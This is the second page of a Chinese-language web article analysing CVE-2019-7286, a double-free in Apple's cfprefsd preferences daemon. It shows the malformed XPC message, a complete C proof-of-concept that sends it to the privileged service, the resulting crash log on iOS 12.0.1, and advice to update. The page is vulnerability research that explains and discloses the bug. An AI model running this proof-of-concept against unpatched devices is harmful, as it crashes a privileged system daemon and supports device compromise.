设为首页 加入收藏

TOP

iOS/OSX漏洞分析和再现:CVE-2019-7286(二)
2019-08-26 06:59:39 】 浏览:66
Tags:iOS/OSX 漏洞 分析 再现 CVE-2019-7286
键和值的XPC将触发此漏洞:

1 poc_dict = {
2   "CFPreferencesOperation" = 5,
3   "CFPreferencesMessages" = [
4     {
5      "CFPreferencesOperation": 4    
6     }
7   ]
8 }

如果回调没有更新xpc_buffer [count], Apple的补丁用xpc_null替换了原始的XPC对象因此,当xpc_null没有要释放的内存时,没有双重释放条件

漏洞复制

我们能够使用下面的POC代码片段重现CVE-2019-7286:

 1 #include <xpc/xpc.h>;
 2 
 3 int main(int argc, const char * argv[]) {
 4 
 5   xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
 6   xpc_connection_set_event_handler(conn, ^(xpc_object_t t) {
 7     printf("got message: %sn", xpc_copy_description(t));
 8   });
 9 
10   xpc_connection_resume(conn);
11 
12   xpc_object_t hello = xpc_dictionary_create(NULL, NULL, 0);
13   xpc_dictionary_set_int64(hello, "CFPreferencesOperation", 5);
14 
15   xpc_object_t arr = xpc_array_create(NULL, 0);
16   xpc_object_t arr_elem1 = xpc_dictionary_create(NULL, NULL, 0);
17   xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", 4);
18 
19   xpc_array_append_value(arr, arr_elem1);
20   xpc_dictionary_set_value(hello, "CFPreferencesMessages", arr);
21   xpc_connection_send_message(conn, hello);
22   xpc_release(hello);
23   return 0;
24 }

在iOS 12.0.1上运行上述程序导致cfprefsd崩溃:

Thread 6 name:  Dispatch queue: Serving PID 7210
Thread 6 Crashed:
0   libobjc.A.dylib          0x21acd6b00  objc_object::release+ 16 
1   libxpc.dylib             0x21b73bbc0  _xpc_array_dispose + 40 
2   libxpc.dylib             0x21b73a584  _xpc_dispose + 156          
3   libxpc.dylib             0x21b7449fc  _xpc_dictionary_dispose + 204                   
4   libxpc.dylib             0x21b73a584  _xpc_dispose + 156 
5   libxpc.dylib             0x21b742418  _xpc_connection_mach_event + 872 
6   libdispatch.dylib        0x21b528544  _dispatch_client_callout4 + 16 
7   libdispatch.dylib        0x21b4df068  _dispatch_mach_msg_invoke + 340 
8   libdispatch.dylib        0x21b4cfae4  _dispatch_lane_serial_drain + 284 
9   libdispatch.dylib        0x21b4dfc3c  _dispatch_mach_invoke + 476 
10  libdispatch.dylib        0x21b4cfae4  _dispatch_lane_serial_drain + 284 
11  libdispatch.dylib        0x21b4d0760  _dispatch_lane_invoke + 432 
12  libdispatch.dylib        0x21b4d8f00  _dispatch_workloop_worker_thread + 600 
13  libsystem_pthread.dylib  0x21b70a0f0  _pthread_wqthread + 312 
14  libsystem_pthread.dylib  0x21b70cd00  start_wqthread + 4 

建议

  • 更新到最新的OS X和iOS版本。
  • 偶尔重启iPhone / iPad(例如每天一次)以从脱离非持久性攻击。
首页 上一页 1 2 下一页 尾页 2/2/2
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇iOS app 支持HTTPS iOS开发者相关 下一篇你想知道的3D Touch开发全在这里了

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目